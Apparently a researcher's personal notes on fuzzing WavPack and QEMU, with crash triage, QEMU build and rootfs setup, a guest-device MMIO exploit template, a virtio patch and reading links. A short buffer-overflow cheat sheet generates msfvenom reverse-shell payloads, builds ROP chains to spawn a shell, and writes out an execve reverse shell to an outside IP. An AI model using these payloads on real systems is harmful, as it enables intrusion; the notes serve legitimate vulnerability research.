    afl-fuzz -S d5 -i tmin_in -o out5 -t 1000 -m none -e wav -p fast -- ./cli/wavpack.laf -y -o - -
    afl-fuzz -S d6 -i tmin_in -o out5 -t 1000 -m none -e wav -p explore -- ./cli/wavpack.laf -y -o - -
    afl-fuzz -S d7 -i tmin_in -o out5 -t 1000 -m none -e wav -p coe -L 0 -- ./cli/wavpack.laf -y -o - -
    afl-fuzz -S d8 -i tmin_in -o out5 -t 1000 -m none -e wav -p lin -L 0 -Z -- ./cli/wavpack.afl -y -o - -
    afl-fuzz -S d9 -i tmin_in -o out5 -t 1000 -m none -e wav -p quad -L 1 -Z -- ./cli/wavpack.afl -y -o - -
    afl-fuzz -S d10 -i tmin_in -o out5 -t 1000 -m none -e wav -p exploit -L 2 -- ./cli/wavpack.afl -y -o - -
    afl-fuzz -S d11 -i tmin_in -o out5 -t 1000 -m none -e wav -p rare -- ./cli/wavpack.afl -y -o - -
    afl-fuzz -S d12 -i tmin_in -o out5 -t 1000 -m none -e wav -p coe -- ./cli/wavpack.afl -y -o - -
    AFL_DISABLE_TRIM=1 afl-fuzz -S d13 -i tmin_in -o out5 -t 1000 -m none -e wav -p explore -L 1 -- ./cli/wavpack.afl -y -o - -
    AFL_DISABLE_TRIM=1 afl-fuzz -S d14 -i tmin_in -o out5 -t 1000 -m none -e wav -L 2 -Z -- ./cli/wavpack.afl -y -o - -

    resume

    AFL_AUTORESUME=1

Show debug info

AFL_DEBUG=1 afl-fuzz ...

Classify

Install

sudo apt-get install golang
cd ~
git clone https://github.com/jfoote/exploitable.git
mkdir go
export GOPATH=~/go
go get -u github.com/bnagy/crashwalk/cmd/...

Run

export CW_EXPLOITABLE=~/exploitable/exploitable
export ASAN_OPTIONS="abort_on_error=1:symbolize=0"
~/go/bin/cwtriage -root out6/d2/crashes/ -match id -- ./cli/wvunpack.san -o - - -y
~/go/bin/cwtriage -root out6/ -afl
~/go/bin/cwdump crashwalk.db > crash.txt

aflsmart

Compile target

export AFL_USE_ASAN=1; export AFL_USE_CFISAN=1
CC=~/aflsmart/afl-gcc ./configure --disable-shared
make clean all

Fuzz

export AFLSMART=~/aflsmart
cd $AFLSMART
source $AFLSMART/setup_env.sh
$AFLSMART/afl-fuzz -m none -h -d -i $AFLSMART/testcases/aflsmart/wav -o out8 -t 1000 -w peach -g $AFLSMART/input_models/wav.xml -x $AFLSMART/dictionaries/wav.dict -e wav -- ./cli/wavpack -y @@ -o -
$AFLSMART/afl-fuzz -S d1 -m none -h -d -i ~/WavPack2/wav_seed_all -o out9 -t 1000 -w peach -g $AFLSMART/input_models/wav.xml -x $AFLSMART/dictionaries/wav.dict -e wav -- ./cli/wavpack -y @@ -o -
$AFLSMART/afl-fuzz -S d2 -m none -h -d -i ~/WavPack2/wav_seed_all -o out9 -t 1000 -w peach -g $AFLSMART/input_models/wav.xml -x $AFLSMART/dictionaries/wav.dict -e wav -- ./cli/wavpack -y @@ -o -
$AFLSMART/afl-fuzz -S d3 -m none -h -d -i ~/WavPack2/wav_seed_all -o out9 -t 1000 -w peach -g $AFLSMART/input_models/wav.xml -x $AFLSMART/dictionaries/wav.dict -e wav -- ./cli/wavpack -y @@ -o -
$AFLSMART/afl-fuzz -S d4 -m none -h -d -i ~/WavPack2/wav_seed_all -o out9 -t 1000 -w peach -g $AFLSMART/input_models/wav.xml -x $AFLSMART/dictionaries/wav.dict -e wav -- ./cli/wavpack -y @@ -o -
$AFLSMART/afl-fuzz -S d5 -m none -h -d -i ~/WavPack2/wav_seed_all -o out9 -t 1000 -w peach -g $AFLSMART/input_models/wav.xml -x $AFLSMART/dictionaries/wav.dict -e wav -- ./cli/wavpack -y @@ -o -
$AFLSMART/afl-fuzz -S d6 -m none -h -d -i ~/WavPack2/wav_seed_all -o out9 -t 1000 -w peach -g $AFLSMART/input_models/wav.xml -x $AFLSMART/dictionaries/wav.dict -e wav -- ./cli/wavpack -y @@ -o -

Trophy

[CVE-2021-44269] A heap Out-of-bounds Read in WavpackPackSamples (src/pack_utils.c)


buf overflow

  • info
    checksec --file=glibc.so
  • 溢出时eip在输入的位置
    cyclic n
    cyclic -l xxxx

no nx

msfvenom -l payloads|grep linux
msfvenom -p linux/x64/shell_reverse_tcp -f python

nx no aslr

ldd glibc.so -> fixed base addr

nx aslr pie x64:system('/bin/sh')

  • leak base/func addr
  • 布局:
    pop edi; ret
    &/bin/sh
    &system
    ret addr
  • 搜索:
    ROPgadget --binary glibc.so --only 'edi|ret'
    ROPgadget --binary glibc.so --string "/bin/sh"
    readelf -s glibc.so |grep system

nx aslr pie x64:reverse shell

  • 只需泄露基址即可,字符串都是栈上构造的。
  • 生成execve('/bin/sh',0,0):
    ROPgadget --binary glibc.so --chain --offset base
    ropper --file glibc.so --chain "execve cmd=/bin/bash" #ropper支持execve/mprotect/virtualprotect生成
  • 再改造加入反弹shell命令:
    execve('/bin/bash', ['/bin/sh', '-c', 'sh -i>&/dev/tcp/10.10.14.32/8881 0>&1',0], 0)
  • 注意:
    部分系统/bin/sh链接到dash,不支持>&语法,所以要调用bash。
    execve的argv参数第一个要写一个占位,程序里argv[0]就是获取的这个值。

# compile qemu
sudo apt update
sudo apt install libglib2.0-dev libpixman-1-dev libsdl2-dev libsdl1.2-dev
git clone https://gitlab.com/qemu-project/qemu.git && cd qemu
or git clone https://mirrors.tuna.tsinghua.edu.cn/git/qemu.git && cd qemu
## install Ninja
sudo apt install re2c
sudo apt install build-essential python
git clone git://github.com/ninja-build/ninja.git && cd ninja
./configure.py --bootstrap
sudo cp ninja /usr/bin/
## make
mkdir -p bin/debug/naive && cd bin/debug/naive
../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror
make -j4
./qemu-system-x86_64 --version

# make rootfs
#!/bin/sh
sudo apt-get install debootstrap
mkdir rootfs

sudo debootstrap --include=openssh-server,curl,tar,gcc,\
libc6-dev,time,strace,sudo,less,psmisc,\
selinux-utils,policycoreutils,checkpolicy,selinux-policy-default \
stretch rootfs

set -eux

sudo sed -i '/^root/ { s/:x:/::/ }' rootfs/etc/passwd
echo 'T0:23:respawn:/sbin/getty -L ttyS0 115200 vt100' | sudo tee -a rootfs/etc/inittab
printf '\nallow-hotplug enp0s3\niface enp0s3 inet dhcp\n' | sudo tee -a rootfs/etc/network/interfaces
echo 'debugfs /sys/kernel/debug debugfs defaults 0 0' | sudo tee -a rootfs/etc/fstab
echo "kernel.printk = 7 4 1 3" | sudo tee -a rootfs/etc/sysctl.conf
echo 'debug.exception-trace = 0' | sudo tee -a rootfs/etc/sysctl.conf
echo "net.core.bpf_jit_enable = 1" | sudo tee -a rootfs/etc/sysctl.conf
echo "net.core.bpf_jit_harden = 2" | sudo tee -a rootfs/etc/sysctl.conf
echo "net.ipv4.ping_group_range = 0 65535" | sudo tee -a rootfs/etc/sysctl.conf
echo -en "127.0.0.1\tlocalhost\n" | sudo tee rootfs/etc/hosts
echo "nameserver 8.8.8.8" | sudo tee -a rootfs/etc/resolve.conf
echo "ubuntu" | sudo tee rootfs/etc/hostname
sudo mkdir -p rootfs/root/.ssh/
rm -rf ssh
mkdir -p ssh
ssh-keygen -f ssh/id_rsa -t rsa -N ''
cat ssh/id_rsa.pub | sudo tee rootfs/root/.ssh/authorized_keys

dd if=/dev/zero of=rootfs.img bs=1M seek=2047 count=1
sudo mkfs.ext4 -F rootfs.img
sudo mkdir -p /mnt/rootfs
sudo mount -o loop rootfs.img /mnt/rootfs
sudo cp -a rootfs/. /mnt/rootfs/.
sudo umount /mnt/rootfs

# compile linux
sudo apt install libelf-dev
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.2.11.tar.xz -O linux-5.2.11.tar.xz
tar -xvf linux-5.2.11.tar.xz && cd linux-5.2.11/
make defconfig
make kvmconfig
#编辑 .config 文件, 将 CONFIG_8139CP=y 和 CONFIG_PCNET32=y 打开
make -j4

# run
./qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64 \
    -kernel ./linux-5.2.11/arch/x86/boot/bzImage  \
    -append "console=ttyS0 root=/dev/sda rw"  \
    -hda ./rootfs.img  \
    -enable-kvm -m 2G -nographic \
    -netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 \
    -netdev user,id=t1, -device pcnet,netdev=t1,id=nic1 \
    -net user,hostfwd=tcp::10021-:22 -net nic \
    -device virtio-gpu-pci \
    -device strng

# debug
- GDB调试QEMU时经常遇到SIGUSR1与SIGUSR2后停下来,解决办法是执行命令:
(gdb) handle SIGUSR1 SIGUSR2 noprint nostop
- qemu fuzz时是启动子进程,下断点时需要执行:
(gdb) set follow-fork-mode child
- stacktrace
gef➤  bt
#0  strng_mmio_write (opaque=0x7ffff54a86b8, addr=0xec4cb480, val=0xffffffff, size=0x0) at ../../../hw/6
#1  0x0000555555bdba85 in memory_region_write_accessor (mr=0x55555787bdf0, addr=0x8, value=0x7ffff54a862
#2  0x0000555555bdbcc8 in access_with_adjusted_size (addr=0x8, value=0x7ffff54a86b8, size=0x4, access_s4
#3  0x0000555555bdedbc in memory_region_dispatch_write (mr=0x55555787bdf0, addr=0x8, data=0x20746163, o4
#4  0x0000555555bd1b22 in flatview_write_continue (fv=0x7fffec305e20, addr=0xfebf4008, attrs=..., ptr=02
#5  0x0000555555bd1c6b in flatview_write (fv=0x7fffec305e20, addr=0xfebf4008, attrs=..., buf=0x7ffff7fc2
#6  0x0000555555bd1fe7 in address_space_write (as=0x555556723de0 <address_space_memory>, addr=0xfebf4004
#7  0x0000555555bd2058 in address_space_rw (as=0x555556723de0 <address_space_memory>, addr=0xfebf4008, 4
#8  0x0000555555cf2f71 in kvm_cpu_exec (cpu=0x555556a06df0) at ../../../accel/kvm/kvm-all.c:2903
#9  0x0000555555cf4df2 in kvm_vcpu_thread_fn (arg=0x555556a06df0) at ../../../accel/kvm/kvm-accel-ops.c9
#10 0x0000555555ed4669 in qemu_thread_start (args=0x555556a14f00) at ../../../util/qemu-thread-posix.c:6
#11 0x00007ffff76e9609 in start_thread (arg=<optimized out>) at pthread_create.c:477
#12 0x00007ffff7610293 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95

# fuzz
mkdir fuzz && cd fuzz
sudo apt install clang
CC=clang-11 CXX=clang++-11 ../configure --enable-sanitizers --enable-fuzzing
make qemu-fuzz-i386 -j4
./qemu-fuzz-i386 --fuzz-target=FUZZ_NAME

# reproducer
QEMU_FUZZ_TIMEOUT=0 QTEST_LOG=1 FUZZ_SERIALIZE_QTEST=1 qemu-fuzz-i386 --fuzz-target... ./crash-... &> /tmp/trace
scripts/oss-fuzz/reorder_fuzzer_qtest_trace.py /tmp/trace > /tmp/reproducer
./qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64 -display none -machine accel=qtest -m 512M -machine q35 -nodefaults -device virtio-gpu -qtest stdio < /tmp/reproducer
export QEMU_ARGS="-display none -machine accel=qtest, -m 512M -machine q35 -nodefaults -device virtio-gpu"
export QEMU_PATH="./qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64"
$QEMU_PATH $QEMU_ARGS -qtest stdio < /tmp/reproducer

# minimize reproducer
export CRASH_TOKEN="memory_ldst_cached.h.inc"
qemu/scripts/oss-fuzz/minimize_qtest_trace.py -M1 -M2 /tmp/reproducer /tmp/reproducer-minimized
$QEMU_PATH $QEMU_ARGS -qtest stdio < /tmp/reproducer-minimized
qemu/scripts/oss-fuzz/output_reproducer.py -bash /tmp/reproducer-minimized


# exp tpl
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/pci.h>
#include <sys/io.h>
#include <string.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

uint8_t *mmio_base;
uint32_t port_base = 0xc040;
int fd;

uint32_t mmio_read(uint32_t addr)
{
    return *(uint32_t *)(mmio_base + addr);
}

void mmio_write(uint32_t addr, uint32_t val)
{
    *(uint32_t *)(mmio_base + addr) = val;
}

uint32_t pmio_read(uint32_t port)
{
    return inl(port_base + port);
}

void pmio_write(uint32_t port, uint32_t val)
{
    outl(val, port_base + port);
}

uint32_t page_offset(uint32_t addr)
{
    return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
    uint64_t pme, gfn;
    size_t offset;
    offset = ((uintptr_t)addr >> 9) & ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    if (!(pme & PFN_PRESENT))
        return -1;
    gfn = pme & PFN_PFN;
    return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

int main(int argc, char const *argv[])
{
    fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0)
    {
        puts("[*]pagemap error!");
        exit(0);
    }
    uint32_t *target = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    mlock(target, 0x1000);
    printf("[*] visual addr 0x%lx\n", target);
    uint32_t pt = gva_to_gpa(target);
    printf("[*] physical addr 0x%lx\n", pt);

    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:06.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd < 0)
    {
        puts("[*]mmio open file error!");
        exit(0);
    }
    mmio_base = mmap(0, 256, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);

    mmio_write(8, 0x11228899);

    uint32_t x=mmio_read(8);
    printf("val %x\n",x);

    if (iopl(3) !=0 )
        exit("I/O permission is not enough");

    return 0;
}

# fix
> Signed-off-by: Philippe Mathieu-Daudé <[email protected]>
> ---
>  hw/virtio/virtio.c | 1 +
>  1 file changed, 1 insertion(+)
> 
> diff --git a/hw/virtio/virtio.c b/hw/virtio/virtio.c
> index 874377f37a7..04ffe5f420e 100644
> --- a/hw/virtio/virtio.c
> +++ b/hw/virtio/virtio.c
> @@ -2255,6 +2255,7 @@ void virtio_queue_set_num(VirtIODevice *vdev, int n, int num)
>          return;
>      }
>      vdev->vq[n].vring.num = num;
> +    virtio_queue_update_rings(vdev, n);
>  }
>  
>  VirtQueue *virtio_vector_first_queue(VirtIODevice *vdev, uint16_t vector)
> -- 
> 2.31.1
> 

# links
https://gsec.hitb.org/sg2017/sessions/qemu-attack-surface-and-security-internals/
http://brieflyx.me/2019/linux-tools/qemu-escape-attack-surface/
https://paper.seebug.org/955/
https://www.136.la/jingpin/show-109662.html
https://www.ei.ruhr-uni-bochum.de/media/emma/veroeffentlichungen/2020/02/07/Hyper-Cube-NDSS20.pdf
https://arxiv.org/pdf/2109.10660.pdf
https://www.youtube.com/watch?v=dk6SUD8ovXw
https://i.blackhat.com/asia-20/Thursday/asia-20-Shao-3D-Red-Pill-A-Guest-To-Host-Escape-On-QEMUKVM-Virtio-Device.pdf
https://www.anquanke.com/post/id/211930
https://www.usenix.org/system/files/sec21summer_schumilo.pdf
https://gsec.hitb.org/materials/sg2017/D2%20-%20Qiang%20Li%20and%20ZhiBin%20Hu%20-%20QEMU%20Attack%20Surface%20and%20Security%20Internals.pdf
https://larry.ngrep.me/2019/07/22/wctf-2019-virtualhole-write-up/
http://pwn4.fun/2020/02/02/%E8%B0%83%E8%AF%95Qemu-CVE-2016-4952/
https://cool-y.github.io/2021/04/10/vm-escape1/
https://a1ex.online/2021/10/24/CVE-2019-6788-Qemu%E9%80%83%E9%80%B8%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E4%B8%8E%E5%88%86%E6%9E%90/

qemu编译安装
https://www.cnblogs.com/from-zero/p/14327440.html

QEMU 虚拟机逃逸漏洞分析与利用(CVE-2019-14378)
https://www.anquanke.com/post/id/184949
qemu pwn-基础知识
https://xz.aliyun.com/t/6562
qemu-pwn-DefconQuals-2018-EC3
https://xz.aliyun.com/t/6778
调试qemu 硬盘io的过程
https://www.nul.pw/2020/02/05/285.html
跟踪qemu-kvm下的磁盘写入
https://www.nul.pw/2020/02/06/286.html
qemu-pwn 强网杯2019 两道qemu逃逸题writeup
https://ray-cp.github.io/archivers/qemu-pwn-%E5%BC%BA%E7%BD%91%E6%9D%AF2019-%E4%B8%A4%E9%81%93qemu%E9%80%83%E9%80%B8%E9%A2%98writeup
QEMU 虚拟机逃逸漏洞分析(CVE-2019-15890)
https://www.anquanke.com/post/id/201137
Qemu开源实战(一)
https://juejin.cn/post/6844904090577666056
CVE-2020-14364 QEMU逃逸 漏洞分析 (含完整EXP)
https://mp.weixin.qq.com/s/MQyczZXRfOsIQewNf7cfXw
QEMU study
https://www.anquanke.com/post/id/221268
QEMU KVM Note Ⅱ
https://github.com/Resery/Learning_Note/blob/master/QEMU/Qemu_2.md
CVE-2016-4952漏洞复现———Qemu拒绝服务漏洞
https://www.anquanke.com/post/id/226748
CVE-2020-14364漏洞复现——Qemu逃逸漏洞
https://www.anquanke.com/post/id/227283
再看云虚拟化安全 QEMU通用漏洞挖掘新思路
https://vipread.lanzoui.com/iQURjlddemd
qemu逃逸学习
https://www.anquanke.com/post/id/235191
Qemu漏洞分析记录 CVE-2015-5165
https://www.anquanke.com/post/id/239263
多种方法利用QEMU-CVE-2020-14364(一)
https://www.anquanke.com/post/id/243343
基于Qemu/kvm硬件加速的下一代安全对抗平台
https://vipread.lanzoui.com/iYE5cwbadsj
Virtio:一种Linux I/O虚拟化框架
https://www.anquanke.com/post/id/224001
VirtIO-GPU环境搭建与应用
https://blog.csdn.net/huang987246510/article/details/106245900/
虚拟化之——virtio-net基础篇
https://blog.csdn.net/21cnbao/article/details/116311054
CVE-2020-14364 Qemu越界读写漏洞复现与分析
https://ama2in9.top/2021/01/09/cve-2020-14364/
Qemu Fuzzer学习
https://blog.csdn.net/weixin_42733202/article/details/119715287
PCI配置空间
https://wiki.osdev.org/PCI